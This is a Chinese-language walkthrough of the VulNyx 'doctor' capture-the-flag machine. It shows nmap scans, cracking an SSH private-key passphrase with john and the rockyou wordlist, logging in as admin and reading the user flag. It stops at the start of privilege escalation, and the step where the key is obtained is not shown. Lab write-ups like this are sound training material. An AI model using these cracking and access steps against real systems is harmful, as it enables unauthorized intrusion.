┌──(root㉿kali)-[/miao/vulnyx/doctor] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 14:28 CST Nmap scan report for 192.168.2.1 Host is up (0.00062s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00066s latency). MAC Address: 08:00:27:02:D6:DC (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.44 Host is up (0.00089s latency). MAC Address: 08:00:27:F9:ED:72 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.13 seconds
IP地址：192.168.2.44
二、端口扫描
1、全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/miao/vulnyx/doctor] └─# nmap --min-rate 10000 -p- 192.168.2.44 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 14:28 CST Nmap scan report for 192.168.2.44 Host is up (0.00018s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:F9:ED:72 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 15.56 seconds
┌──(root㉿kali)-[/miao/vulnyx/doctor] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.44 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 14:29 CST Nmap scan report for 192.168.2.44 Host is up (0.0010s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA) | 256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA) |_ 256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Docmed |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:F9:ED:72 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
3、UDP端口扫描
1 2 3 4 5 6 7 8
┌──(root㉿kali)-[/miao/vulnyx/doctor] └─# nmap -sU --top-ports 100 192.168.2.44 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 14:30 CST Nmap scan report for 192.168.2.44 Host is up (0.00097s latency). All 100 scanned ports on 192.168.2.44 are in ignored states. Not shown: 61 closed udp ports (port-unreach), 39 open|filtered udp ports (no-response) MAC Address: 08:00:27:F9:ED:72 (Oracle VirtualBox virtual NIC)
┌──(root㉿kali)-[/miao/vulnyx/doctor] └─# john tmp --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status unicorn (id_rsa) 1g 0:00:00:00 DONE (2025-07-03 15:34) 14.28g/s 18285p/s 18285c/s 18285C/s ramona..poohbear1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
找到私钥的密码unicorn
五、获取USER权限
直接使用私钥进行连接
1 2 3 4 5
┌──(root㉿kali)-[/miao/vulnyx/doctor] └─# ssh admin@192.168.2.44 -i id_rsa Enter passphrase for key 'id_rsa': admin@doctor:~$ id uid=1000(admin) gid=1000(admin) grupos=1000(admin)
USER FLAG
1 2
admin@doctor:~$ cat user.txt
六、权限提升
使用sudo -l，提示无法使用
1 2
admin@doctor:~$ sudo -l -bash: sudo: orden no encontrada
